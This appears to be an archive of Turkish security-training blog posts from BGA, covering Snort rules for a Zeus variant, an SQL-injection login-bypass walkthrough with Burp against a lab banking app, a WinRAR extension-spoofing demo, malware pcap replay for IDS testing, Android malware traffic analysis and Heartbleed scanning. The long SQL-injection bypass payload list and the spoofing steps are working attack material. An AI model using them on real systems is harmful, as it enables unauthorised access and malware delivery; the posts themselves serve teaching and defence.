    Değer: 73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65  5f 54 72 65 61 74 79 5f 6f 66 5f 4b 61 72 6c 6f  77 69 74 7a 2e 65 78 65
    şeklindedir.
  • Son olarak aşağıdaki gibi bir kural yazılarak imzayı içeren paketlerde uyarı verilmesi sağlanır.

    alert tcp any any -> $HOME_NET any (msg:"Zeus variant binary"; flow:from_server,established; content:"|73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65  5f 54 72 65 61 74 79 79 5f 6f 66 5f 4b 61 72 6c 6f  77 69 74 7a 2e 65 78 65|"; sid:9000556; rev:1;)

    Kuralı daha da özelliştirmek için “offset” değeri eklenebilir.

3.png


Son adımda zararlının ağ hareketleri incelenerek özel bir desen oluşturulmaya çalışılır. Örnek zaralının spam gönderimleri incelendiğinde gönderici adreslerinin belli bir formatta oluşturulduğu fark edilmiştir. Örneğin,
MAIL FROM:<Donald86@1008.com>
MAIL FROM:<Kevin08@3184.com>
MAIL FROM:<Michael36@6998.com>


şeklindeki gönderici adresleri (isim)(2rakam)@(4rakam).com desenine uymaktadır.


Desen belirlendikten sonra bu desene uygun bir Perl düzenli ifadesi yazılır. Bu desen “/<[a-z]+[0-9]{2}@[0-9]{4}\.com>/i” düzenli ifadesi ile karşılanabilir. Yazılan düzenli ifadeleri online olarak test etmek için “www.regexe.com” adresi oldukça kullanışlıdır.


SMTP üzerinden mail gönderimlerinde belirlenen deseni arayacak Snort kuralı temel olarak aşağıdaki gibidir.


alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"A Zeus variant is sending spam"; flow:to_server,established; pcre:"/<[a-z]+[0-9]{2}@[0-9]{4}\.com>/i"; priority:1; sid:900$


4.png

Onur ALANBEL


BGA Bilişim Güvenliği Staj Okulu 2014

$
0
0

Bilişim güvenliği alanında kariyer yapmak isteyen üniversite öğrencilerine Bilgi Güvenliği AKADEMİSİ’nden staj fırsatı.

Bilgi güvenliği AKADEMİSİ, 21. yüzyılın en önemli mesleklerinden biri olarak görülen Siber Güvenlik konusunda kendini yetiştirmek, kariyerini siber güvenlik konusunda ilerletmek isteyen üniversite öğrencilerini BGA Staj Okulu’na davet ediyor.

Bilgi Güvenliği AKADEMİSİ’nin bilgi/bilişim güvenliği konusundaki deneyim ve uzmanlığını öğrenciler ile paylaşacağı “BGA Staj Okulu” gerçek proje uygulamalarıyla katılımcılarına güvenlik konusunda yeni deneyimler ve farklı bakış açısı sunacaktır.
Başarılı stajer öğrencilere Türkiye’deki bilişim güvenliği firmalarında yarı/tam zamanlı çalışma konusunda destek sağlanacaktır.
BGA Staj Okulu Programı kamsamında 3 üniversite öğrencisi alınacaktır.

Aranan Nitelikler:
    • Üniversitelerin 3, 4 (uzatmalı öğrenciler için) sınıflarında okuyor olmak
    • Meslek yüksek okullarının ilgili bölümlerinde okuyor olmak
    • Orta/iyi seviye Linux bilgisi
    • Herhangi bir programlama dili kullanarak bir yazılım geliştirmiş olmak (C, Python, Ruby tercih sebebidir)
    • Temel Networking bilgisi


    Staj programı kapsamında her bir öğrenciyle bilişim güvenliğinin bir alanında özel olarak ilgilenilecek ve bilişim güvenliği konulu yazılım projesi geliştirilmesi sağlanacaktır.

    Başvuru Tarihleri
    Staj başvuruları 30 Mart 2014′e kadar devam edecektir. Staja kabul edilen öğrenciler Nisan ayında http://blog.bga.com.tr adresinden duyurulacaktır.Mülakat Tarihleri:Başvuru sonrası kabul edilen öğrencilerle mülakat yapılacaktır. Nihai başvuru sonuçları mülakat sonrası belli olacaktır.

    BGA Staj Okulu Tarihleri
    Staj dönemi Haziran-Temmuz-Ağustos 2014 olarak belirlenmiştir.

    Başvuru İşlemleri
    Başvuru formu http://www.bga.com.tr/kayit.html

    Kayıt formuyla birlikte üniversite hocalarından alınacak referans mektupları değerlendirme aşamasında önem taşımaktadır.

    Değerlendirme Süreci
    Aday Başvurularını değerlendirilmesi sırasında göz önünde bulundurulan kriterler:
    • Adayın önceki staj deneyimleri
    • Referans bilgisi
    • Başvuruda bulundukları alanda ilerleme istekleri
    • Yaptıkları projeler
    Stajerleri Neler Beklemektedir?
    • Stajerler bilişim güvenliğinin en zevkli konularında proje geliştirmek üzere yetiştirilecektir.
    • BGA bünyesindeki danışmanlarla gerçek projelerde bire bir çalışma fırsatı
    • Gerçek ortamlarda kullanılabilecek proje geliştirme fırsatı
    • Ücretsiz Blgi Güvenliği AKADEMİSİ eğitimlerine katılma imkanı
    İletişim: Staj ve diğer konularla ilgili bilgi@bga.com.tr adresine e-posta gönderebilirsiniz.

    BURP - SQLi ile Giriş Paneli Atlatma Saldırıları

    $
    0
    0
    Arka tarafta veritabanı bağlantısı olan kimlik doğrulama amaçlı kullanılan login formları yeterli girdi denetimi yapılmadığı durumlarda kullanıcı adı / parola bilgisini bilmeyen saldırganlar tarafından atlatılabilmektedir. Login bypass işlemini başarılı gerçekleştiren saldırgan user/pass bilgisine ihtiyaç duymadan hedef sisteme yetkili kullanıcı haklarıyla erişebilir.

    Burp aracı web tabanlı uygulamaları güvenlik testi son derece kolaylaştıran önemli uygulamalardan biridir. Bu yazıda Burp aracı kullanarak BGA BANK (Bankalara ait güvenlik zafiyetlerini içeren web uygulaması) uygulamasındaki login bypass işleminin nasıl gerçekleştirilebileceği anlatılmaktadır.


    Senaryo : Hedef sistem üzerinde tespit edilen(kullanıcı giriş paneli, yönetim paneli vs.) girdi noktaları üzerinde  SQLi ile giriş paneli atlatma saldırıların nasıl gerçekleştirilmesinden bahsedilecektir.


    1. Burp Proxy ile hedef sistemin giriş paneline rastgele değerler girerek header bilgilerini elde edelim. Görüldüğü gibi header üzerinde b_musterino ve b_password  olmak üzere iki parametre ile POST işlemi gerçekleşmektedir. Header bilgilerini görüntülerken sağ tıklayarak Send to Intruder(CTRL + I) diyerek headeri bilgileri üzerinde atakları gerçekleştirebileceğimiz Intruder Sekmesi belirecektir.
       


    1. Indruder sekmesi altından Attack Type olarak Sniper olarak seçilir. Ardından atak vektörünü b_musterino alanına belirtilir.
    2. Payload Sekmesi altında Payload Set 1, Payload Type ise Simple List olacak. Bu işlemden sonra ekte paylaşılmış olan login-bypass.txt dosyası yüklenir.
    3. İşlemler tamamlandıktan sonra Intruder Menüsü altında Start Attack ile saldırı işlemi başlatılır. İşlem bittikten sonra sonuçlar aşağıdaki gibi olacaktır. Sonuçlardan elde edilebilecek yorum; Length sütunundan eylemin başarılı gerçekleşip, gerçekleşmediği tespit edilebilir. Uzunluğu 11165 olan header içeriğinde -  “Giriş”, “Başvuru” alanların var olması - görüldüğü gibi başarılı bir sonuç gerçekleşmemiştir.
    4. Sonuçlar içerisinde diğer payloadları inceledikten sonra uzunluğu(Length) 8657 olan payloadların header bilgilerinden başarıyla giriş yapılabildiğini açıkça göstermektedir.



    NOT : Burp Intruder modülü Fuzzy Saldırıları, Brute Force Saldırıları vs. gibi geniş kitlede HTTP ataklarını gerçekleştirebiliyorsunuz. Ayrıca kendi içerisinde kategori bazında payload modülleri bulunmaktadır.


    NOT 2 : Intruder Saldırılarında temel olarak, hedef sistemde atakların gerçekten başarıya ulaştığını teyin etmek - kolaylaştırmak için - grep-match(eşleşmeler) kullanılabilir. Ama bu yöntem çoğunlukla işe yaramayacaktır, çünkü hedef sistemi belli payloadlar işlemi başarıyla gerçekleştirdiklerinde belki bir hata oluşturabilir yada hiç sonuç dondurmeyebilir. Response Length bizim işimizi biraz zorlaştırabilir ama ayırt etmede etkilidir.


    Payload Listesi :
    or 1=1
    or 1=1--
    or 1=1#
    or 1=1/*
    admin' --
    admin' #
    admin'/*
    admin' or '1'='1
    admin' or '1'='1'--
    admin' or '1'='1'#
    admin' or '1'='1'/*
    admin'or 1=1 or ''='
    admin' or 1=1
    admin' or 1=1--
    admin' or 1=1#
    admin' or 1=1/*
    admin') or ('1'='1
    admin') or ('1'='1'--
    admin') or ('1'='1'#
    admin') or ('1'='1'/*
    admin') or '1'='1
    admin') or '1'='1'--
    admin') or '1'='1'#
    admin') or '1'='1'/*
    1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
    admin" --
    admin" #
    admin"/*
    admin" or "1"="1
    admin" or "1"="1"--
    admin" or "1"="1"#
    admin" or "1"="1"/*
    admin"or 1=1 or ""="
    admin" or 1=1
    admin" or 1=1--
    admin" or 1=1#
    admin" or 1=1/*
    admin") or ("1"="1
    admin") or ("1"="1"--
    admin") or ("1"="1"#
    admin") or ("1"="1"/*
    admin") or "1"="1
    admin") or "1"="1"--
    admin") or "1"="1"#
    admin") or "1"="1"/*
    1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
    admin' --
    admin' #
    admin'/*
    ' or 1=1--
    ' or 1=1#
    ' or 1=1/*
    ') or '1'='1--
    ') or ('1'='1--
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
    ' or '1'='1
    ' or 'x'='x
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    'or'1=1'
    ==
    and 1=1--
    and 1=1
    ' or 'one'='one--
    ' or 'one'='one
    ' and 'one'='one
    ' and 'one'='one--
    1') and '1'='1--
    admin' --
    admin' #
    admin'/*
    or 1=1--
    or 1=1#
    or 1=1/*
    ) or '1'='1--
    ) or ('1'='1--
    ' or '1'='1
    ' or 'x'='x
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    'or'1=1'
    admin' --
    admin' #
    admin'/*
    ' or 1=1--
    ' or 1=1#
    ' or 1=1/*
    ') or '1'='1--
    ') or ('1'='1--
    '-'
    '+'
    '&'
    '^'
    '*'
    ' or ''-'
    ' or ''+'
    ' or ''&'
    ' or ''^'
    ' or ''*'
    "-"
    "+"
    "&"
    "^"
    "*"
    " or ""-"
    " or ""+"
    " or ""&"
    " or ""^"
    " or ""*"
    or true--
    " or true--
    ' or true--
    ") or true--
    ') or true--
    ' or 'x'='x
    ') or ('x')=('x
    ')) or (('x'))=(('x
    " or "x"="x
    ") or ("x")=("x
    ")) or (("x"))=(("x

    login bypass listesi icin https://www.architectingsecurity.com/wp-content/uploads/authentication-bypass-list.txt adresi kullanılmıştır.

    Bilgi Güvenliği AKADEMİSİ Örnek Eğitim Notları

    $
    0
    0
    Bilgi Güvenliği AKADEMİSİ eğitimleri için hazırladığımız notların bir kısmını Slideshare hesabı (www.slideshare.com/bgasecurity) paylaşmaya başladık. Aşağıda paylaşım için siteye eklenen eğitim notlarının linklerini bulabilirsiniz. Eğitim notları güncellendikce bir önceki sürümlerini yine Slideshare üzerinden paylaşmaya devam edeceğiz. Notlar ile ilgili yorum ve önerilerinizi bilgi@bga.com.tr adresine gönderebilirsiniz.


    Metasploit Framework Pentest Eğitimi


     


    pfSense Firewall ve Router Eğitimi


     

    Derinlemesine Paket İnceleme (Deep Packet Inspection)


     


    Snort IPS(Intrusion Prevention System) Eğitimi


     


    Mobil Sistemler ve Uygulama Güvenliği

     


    Kablosuz Ağlarda Güvenlik


     


    Web 2.0 Güvenliği 

     

    DoS ve DDoS Saldırıları ve Korunma Yöntemleri

     

    Arp Protokolü ve Güvenlik Zafiyeti


     

    Adli Bilişim Açısından E-posta Sistemi


     


    Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri


     


    Web Uygulama Pentest Eğitimi


     

    Winrar Dosya Uzantısı Kandırma Yoluyla Zararlı Yazılım Çalıştırma

    $
    0
    0
    Winrar, popüler dosya arşivleme yazılımıdır. Dosyaları sıkıştırmak ve açmak için yaygın olarak kullanılır.

    Kısa süre önce bir güvenlik araştırmacısı tarafından keşfedilen bir zafiyet, winrar içerisinde arşivlenen dosyaların orjinal isimleri korunarak, yalnızca görünen isimlerinin değiştirilebildiğini gösterdi.

    Bu zafiyet ile saldırganlar son kullanıcılara yönelik sosyal mühendislik saldırıları yapmaya imkan kazanıyor. Bu durumu ve korunma yöntemini aşağıdaki örnekle pekiştirebiliriz;

    b.exe bu örnek için oluşturulmuş casus yazılım, bunu winrar kullanarak .zip formatında arşivliyoruz.



    Daha sonra herhangi bir  hex editor ile açarak, b.exe'nin sahip olduğu ikinci ismi b.jpg olarak değiştiriyoruz.





    Bu işlemden sonra, herhangi bir bilgisayarda winrar ile bu dosya açıldığında b.jpg olarak görünecektir.


    Kullanıcı bunu çift tıklayarak açmak istediğinde dosyanın aslı olan b.exe (casus yazılım) çalışacaktır.

    Yaptığımız testlerde, Winrar 4.20 üstü sürümlerde bu saldırı vektörünün çalışmadığını gözlemledik. Bu saldırıdan korunmak için öncelikle, kullandığınız winrar sürümünü yükseltmenizi öneririz.

    Bir arşiv dosyasını, winrar ile 'Dosyaları Çıkar'özelliğini kullanarak bulunduğunuz dizine açarsanız orjinal ismiyle açılacaktır dosya. Direkt winrar içerisinden dosyaları Çift tıklayarak açmamaya özen gösteriniz.

    Yazar : Ozan UÇAR
    ozan.ucar@bga.com.tr

    Kaynak: http://an7isec.blogspot.co.il/2014/03/winrar-file-extension-spoofing-0day.html


    Saldırı Tespit Sistemlerini Malware Tehditlerine Karşı Test Etmek

    $
    0
    0
    Zararlı yazılımlar her firmanın başa çıkmakla zaman ve para harcadığı maliyetli bir konudur. Günümüzde yaşanan zararlı yazılım tehditlerini göz önünde bulundurarak diyebiliriz ki  zararlı yazılımların Antivirus, Antilogger vb. host-based koruma sistemlerine karşı kendilerini tanınmaz kılmaları oldukça kolay. Dolayısıyla, zararlı yazılımları tespit etmek ve engellemek için network seviyesinde çalışan sistemler daha çok verim sağlamaktadır.

    Zararlı yazılımların hedef sistemlere bulaştırılmasından önce (indirilme anında), sistemlere enfekte oldukları ilk anda ve zararlı yazılım enfekte olmuş bir sistemi tespit için Saldırı Tespit ve Engelleme sistemleri büyük rol üstlenmektedir.

    Bu blog girdisinde, mevcut Saldırı Tespit Sisteminizin (IPS) bilinen zararlı yazılımları tanımada ne kadar efektif/başarılı olduğunu nasıl test edebileceğiniz anlatılmıştır. Ayrıca, IPS vb. sistemleri tercih etmeden önce bu gibi testlerle başarısını ölçebilir ve/veya gerekli sıkılaştırma çalışmalarında bulunabilirsiniz.

    Lab. Kurulumu

    Bu çalışmada, zararlı yazılımların trafiğini simüle etmek için aşağıdaki bağlantıda yer alan Zararlı yazılımlara ait kaydedilmiş trafikler kullanılmıştır.

    http://contagiodump.blogspot.com.tr/2013/04/collection-of-pcap-files-from-malware.html

    İndirdiğiniz arşiv dosyaları parola korumalıdır, kullanacağınız parola formatı şu şekildedir; 'infected666X' , X değeri dosyanın .zip uzantısından bir önceki harfidir.

    Örneğin BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap.zip dosyasını açmak için parolası infected666p olacaktır.

    Çalışmada, Saldırı Tespit ve Engelleme Sistemi olarak Snort yer almaktadır ve tüm community kuralları aktiftir.

    Uygulama

    Kaydedilmiş trafiği yeniden oynatmak için tcpreplay yazılımını kullanabiliriz. Zeus zararlısına ait trafik aşağıdaki şekilde yeniden oynatılmıştır.
    # tcpreplay -i eth0 -t BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
    sending out eth0
    processing file: BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
    Actual: 413 packets (261750 bytes) sent in 0.05 seconds
    Rated: 5235000.0 bps, 39.94 Mbps, 8260.00 pps
    Statistics for network device: eth0
    Attempted packets: 413
    Successful packets: 413
    Failed packets: 0
    Retried packets (ENOBUFS): 0
    Retried packets (EAGAIN): 0


    Wireshark ile trafiğin oluştuğunu gözlemleyebilir ve doğrulayabilirsiniz.


    Saldırı tespit sistemi bu trafiği tespit ettiyse kritik seviyede alarm üretecektir. Snort, Zeus zararlısının trafiğini tespit etti ve aşağıdaki gibi alarm üretti.


    Mobile Zararlıların Network Seviyesinde Tespiti

    $
    0
    0
    Akıllı telefonlar hayatımızın ve işimizin ciddi bir parçası olduğundan beri saldırganların hedefinde. Şuan sektörde ağırlıklı olarak yer alan Android, iOS,Windows Phone vb. mobil işletim sistemlerine sahip çok sayıda akıllı telefon bulunmaktadır.
    Akıllı telefonlar sürekli internete bağlı olduğu için ciddi risk altındadır ve kullanıcıların şahsi verileri ile şirket verileri sürekli risk altındadır. Bir mobil cihazı uzakdan ele geçiren saldırgan, ortam dinleme, webcam’den görüntü kaydetme, adres defteri, mesaj kutusu vb. kayıtlara ulaşma gibi bir çok işlemi yapabilmektedir.
    Gelişmekde olan bir sistem olduğu için kullanıcıları da henüz yeterli bilgi güvenliği bilincine sahip değillerdir.
    Bu blog girdisinde, Android sistemler için zararlı/casus yazılımların network seviyesinde tespiti için yapılacak pratik çalışmalar yer almaktadır. Bu uygulamada zararlı android uygulamasının davranışlarını ağ trafiğini izleyerek gözlemleyeceğiz. Şüphelendiğiniz bir uygulamayı bu yolla telefonunuza zarar vermeden inceleyebilir veya hali hazırda telefonunuzda benzer bir zararlı/casus yazılım var mı trafiğini izleyerek keşfedebilirsiniz.
    Lab. Kurulumu
    Bu çalışmada Kali linux dağıtımı kullanılmıştır.Tercih ettiğiniz işletim sistemine göre uygulamaların kurulum adımları farklılık gösterebilir.
    Analiz için gerekli labaratuvar araçları aşağıdaki gibidir. Ayrıca detaylı olarak Android lab. kurulumu için aşağıdaki blog girdisine göz atabilirsiniz.
    Ağ boyutlu analiz yapabilmek için Android emülatörü gereksinimlerimiz arasında yer almaktadır.Emülatör android geliştiricileri tarafından herhangi bir bilgisayar ortamında android bir cihaza sahip olmayan geliştiricilerin yazdıkları yazılımları test edebilmeleri için üretilmiş android cihaz simülasyonudur.Ayrıca emülatör mobil cihazımızı da riske atmadan gerekli güvenlik testlerini yapabilmemize olanak sağlar.
    Android Gereksinimleri:
    Android Emülatör:
    Ağ paketi analizi için:
    Tcpview:
    Wireshark:
    Uygulama:
    Uygulama için gerekli lab araçlarını kurduktan sonra terminalden şu komutu girelim.
    sh 4.2 # emulator -tcpdump emulator.cap @Android-Malware-Test-device 
    Screenshot from 2014-04-05 02:11:44
    Bu komutu girdikten sonra emülator aracılığıyla çalıştırdığınız tüm uygulamaların ağ trafiği  emulator.cap dosyasına kaydedilecektir.
    android
    Girilen komutun ardından emülatör şekildeki pencerede açılacaktır.
    Emülatör komutunun ardından emülatör bu şekilde çalışarak ağ trafiğini emulator.cap(capture) dosyasına kaydedecektir.
    Daha sonra ise bu dosya wireshark vb. bir network analiz  aracı ile analiz edilebilir.
    wireshark
    Bu uygulamaların bağlantı kurdukları internet urlleri yada ip adreslerinin virustotal,scanurl gibi servisler yada google arama motoru arama sonuçlarına göre zararlı olup olmadıkları teyit edilerek uygulamanın malware tipi davranış gösterip göstermediğine karar verilebilir.
    pcap2
    pcap3.png
    Bağlantı kurulan linkleri virustotal ve googlede taratarak güvenilirliklerini kontrol edelim.
    virustotal
    google
    Böylece sitelerin trojan türevi işlev gören zararlı siteler olduğu kanısına ulaşmış olduk.Son olarakta Mart ayında aktivite olan literatüre Trojan proxy:Not Compatible.A(Detaylı Bilgi) olarak geçen android malwareni inceleyelim.Bu malware bir güvenlik araştırmacısının IDS(Intrusion Detection System)’sine takılan ağ trafik linklerini incelemesi sonucunda keşfedilmiştir.Bu malware genellikle yahoo üzerinden atılan spam mailler ile kullanıcıların mobil cihazlarına enfekte olmaktadır.Akabinde ise güvenlik güncellemesi isminde enfekte olmuş bir apk dosyasını cihaza kurdurmaya çalışmaktadır.
    Screenshot_from_2014-04-07.png
    Burada uygulama pek güvenli olduğunu düşünmediğim bir Rusya lokasyonlı siteye yönlendirme isteğinde bulunuyor.
    Screenshot_from_2014-04-07-2.png
    Screenshot_from_2014-04-07-3.png
    Bu konumda ise url değişmesi yaparak zararlı url linkinden sözde “ güvenlik uygulaması “ isimli trojan türünden zararlı uygulamayı kullanıcıya kurdurmayı amaçlamaktadır.Linklerin enfekte durumunu inceleyelim:
    Screenshot from 2014-04-08 00:41:57.pngScreenshot from 2014-04-08 05:53:42.png
    Yapılan son link teyit taramasıylada artık kurup testini yaptığımız android uygulamalarımızın güvenilir olmadığı konusunda hemfikiriz.Testi yapılan ve farklı tür davranış gösteren mobil uygulamalarımızı https://support.google.com/googleplay/answer/2479847 adresindeki yönergeleri takip ederek rapor ederek testimizi sonlandırıyoruz.
    Yazar: Oğuzhan AKKAYA

    Referanslar:

    Bilgi Güvenliği AKADEMİSİ Nisan-Mayıs 2014 Etkinlik Takvimi

    $
    0
    0

    Bilgi Güvenliği AKADEMİSİ olarak her yıl Türkiye’degerçekleştirilen siber güvenlik içerikli etkinliklere aktif destek vermeye çalışıyoruz. Ekibimizin iş yoğunluğuna bağlı olarak bazı aylarda etkinlikler için daha fazla zaman ayırabiliyoruz. 
    Nisan-Mayıs aylarında gerçekleştirilecek ve BGA olarak katkıda bulunacağımız/katılacağımız etkinliklere ait bilgileri aşağıdaki tabloda bulabilirsiniz.


    Etkinliklerle ilgili detay bilgiler tarihleri yaklaştıkça BGA Twitter hesabından (@bgasecurity), etkinlikde sunulan içeriğe ait dökümanlar BGA Slideshare hesabından (slideshare.com/bgasecurity) duyurulacaktır.



    Tarih
    Lokasyon
    Etkinlik Adı
    Konuşma Konusu
    16.04.2014
    Denizli
    Pamukkale Ünv. Siber Güvenlik Günü
    Internet Altyapısına Yönelik Siber Saldırılar
    27.04.2014
    Lefkoşe
    CypSec ‘14
    SSL, DPI Kavramları Eşliğinde Internet Trafiği İzleme ve Karşı Güvenlik Önlemleri
    30.04.2014
    Ankara
    Yeni Nesil Web ve DDoS Atakları & Citrix Etkinliği
    Web Zafiyetleri ve DDoS Ataklarına Karşı Proaktif Önlemler (Uygulamalı)
    07.05.2014
    Kocaeli
    GYTE Bilim ve Teknoloji Günleri
    N/A
    8.05.2014
    İstanbul
    Advanced APT Analysis & Fireeye Etkinliği
    Bir APT Saldırısının Anatomisi, Adımları e Sonuçları (Uygulamalı)
    08.05.2014
    Karabük
    Uluslararası Bilişim Günleri
    Siber Güvenlikte Kariyer İmkanları ve Güvenlik Mühendisliği
    09.05.2014
    Ankara
    Hacktrick ‘14 Etkinliği
    Sızma Testlerinde Fiziksel Güvenlik
    13.05.2014
    İstanbul
    Siber Güvenlik Konferansı
    Kurumsal Ağlarda Log Analizi Yöntemiyle Saldırı Tespiti
    16.0.52014
    Kayseri
    Siber Güvenlik Günü
    Popüler Mobil Mesajlaşma Sistemlerinin Takibi ve Güvenliği

    Nmap, Nessus, Metasploit Kullanarak OpenSSL Heartbleed Zafiyeti İstismarı

    $
    0
    0
    TLS’in heartbeat eklentisindeki bir programlama hatasından kaynaklanan sorun sayesinde internete açık zafiyet içeren OpenSSL sürümünü kullanan herhangi bir sistemin belleğindeki bilgiler 64 kbyte’lık bölümler halinde alınabilmektedir.

    Açık, internet üzerinden herhangi yetki gerektirmeksizin tcp 443. porttan kurulan bağlantılar üzerinden(başka portlarda çalışan TLS destekli protokollerde dahil) şifrelemede kullanılan private key’lerin, kullanıcı adı ve şifrelerin, cookie’lerin ve benzer her türlü hassas verinin alınabilmesine olanak sağladığından dolayı, OpenSSL’in 1.0.1 – 1.0.1f arası sürümlerini kullanan sistemlerin bir an önce açığın bulunmasının hemen ardından yayınlanan OpenSSL 1.0.1g sürümüne terfi etmeleri, bu işlem yapılamıyorsa da mevcut OpenSSL’in “-DOPENSSL_NO_HEARTBEATS” parametresi ile yeniden derlenerek heartbeat özelliğini devre dışı bırakmaları önerilmektedir.
    İlgili zafiyeti gideren güncelleme paketleri, CentOS, Debian ve FreeBSD paket depolarına eklendi. Bu nedenle ilgili sistemleri kullanıyorsanız acilen sistem update’i edilmelidir. Ayrıca, sistem güncellemesine kadar geçen süreç içerisinde SSL anahtarlarınızın alınıp alınmadığını bilemeyeceğiniz için mevcut anahtarların da revoke edilerek yenilerinin üretilmesi yerinde olacaktır.
    Açıklıktan Etkilenen Sistemler
    • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
    • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
    • CentOS 6.5, OpenSSL 1.0.1e-15
    • Fedora 18, OpenSSL 1.0.1e-4
    • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) ve 5.4 (OpenSSL 1.0.1c 10 May 2012)
    • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
    • NetBSD 5.0.2 (OpenSSL 1.0.1e)
    • OpenSUSE 12.2 (OpenSSL 1.0.1c
    • Red Hat Enterprise Linux 6.5, Red Hat Enterprise Virtualization Hypervisor 6.5, and Red Hat Storage 2.1
    Açıklığın ortaya çıkmasından sonra istismarı için bir takım istismar araçları yayınlandı. Bağımsız olarak geliştirilen exploit’lerin yanısıra Nessus, nmap, metasploit gibi en sık kullanılan güvenlik araçları da  açıklığı tespit tmek amaçlı kendilerini güncelleyerek gerekli script’leri kütüphanelerine eklediler.
    İlk olarak nmap port tarama aracının yayınlamış olduğu script’i kullanarak yerel ağda açıklıktan etkilenen sistemlerin olup olmadığını kontrol edelim.


    Nmap NSE Kullanarak HeartBleed Zafiyetini Tespit Etme


    # nmap -p 443 --script ssl-heartbleed 6.6.6.0/24


    Nmap scan report for 6.6.6.251
    Host is up (0.0022s latency).
    PORT    STATE SERVICE
    443/tcp open  https
    | ssl-heartbleed:
    |   VULNERABLE:
    |   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
    |     State: VULNERABLE
    |     Risk factor: High
    |     Description:
    |       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
    |           
    |     References:
    |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
    |       http://www.openssl.org/news/secadv_20140407.txt
    |_      http://cvedetails.com/cve/2014-0160/


    Nmap scan report for 6.6.6.247
    Host is up (0.0020s latency).
    PORT    STATE SERVICE
    443/tcp open  https
    | ssl-heartbleed:
    |   VULNERABLE:
    |   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
    |     State: VULNERABLE
    |     Risk factor: High
    |     Description:
    |       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
    |           
    |     References:
    |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
    |       http://www.openssl.org/news/secadv_20140407.txt
    |_      http://cvedetails.com/cve/2014-0160/


    Tablodaki port tarama sonuçlarına bakılacak olursa 6.6.6.0(6.6.6.0/24 ağı BGA'nın kullandığı sızma testi lab. sistemlerine aittir) alt ağında açıklıktan etkilenen 2 tane makinenin olduğu görülmektedir. 
    Açıklığı istismar etmek için geliştirilmiş exploitler kullanılarak hedef sistem belleğindeki hassas verilere erişmek mümkün olacaktır.


    Nessus ile ‘heartbleed’ Taraması Gerçekleştirme


    Diğer bir zaafiyet tarama aracı olan Nessus, OpenSSL’de bulunan bu güvenlik açığı karşısında kendisini güncellemiştir. Nessus ile örnek bir heartbleed taraması aşağıdaki gibi yapılabilir.


    Heartbleed taraması yapabilmek için, ilk olarak ‘Heartbleed Detection’ politikası oluşturulmalıdır.


    Policy oluşturmaScreen Shot 2014-04-14 at 17.38.11.png



    Oluşturulan bu politika kullanılarak tarama başlatılır.


    Taramayı BaşlatmaScreen Shot 2014-04-14 at 17.39.53.png



    Eğer hedef sistem açıklıktan etkilenmiş ise , nessus bu durumu tespit edecek ve aşağıdaki ekran görüntüsünde olduğu gibi rapor sunacaktır.

    Screen Shot 2014-04-14 at 17.30.33.png



    Metasploit ile Heartbleed Testi


    En çok kullanılan güvenlik araçlarından biri olan Metasploit, OpenSSL’de bulunan bu güvenlik açığı karşısında ilgili güncellemeyi yaptı.Aşağıdaki örnekte Metasploit kullanarak hedef sistemin açıklıktan etkilenip etkilenmediği kontrol edilmiştir.

    NOT:Metasploit ve Nessus sadece HTTPS değil diğer SSL kullanan portları da test edip tespit edebilmektedir.


    msf > use auxiliary/scanner/ssl/openssl_heartbleed
    msf auxiliary(openssl_heartbleed) > show options


    Module options (auxiliary/scanner/ssl/openssl_heartbleed):


      Name        Current Setting  Required  Description
      ----        ---------------  --------  -----------
      RHOSTS                       yes       The target address range or CIDR identifier
      RPORT       443              yes       The target port
      STARTTLS    None             yes       Protocol to use with STARTTLS, None to avoid    STARTTLS  (accepted: None, SMTP, IMAP, JABBER, POP3)
      THREADS     1                yes       The number of concurrent threads
      TLSVERSION  1.1              yes       TLS version to use (accepted: 1.0, 1.1, 1.2)


    msf auxiliary(openssl_heartbleed) > set RHOSTS 6.6.6.251
    RHOSTS => 6.6.6.251
    msf auxiliary(openssl_heartbleed) > run


    [+] 6.6.6.251:443 - Heartbeat response with leak
    [*] Scanned 1 of 1 hosts (100% complete)
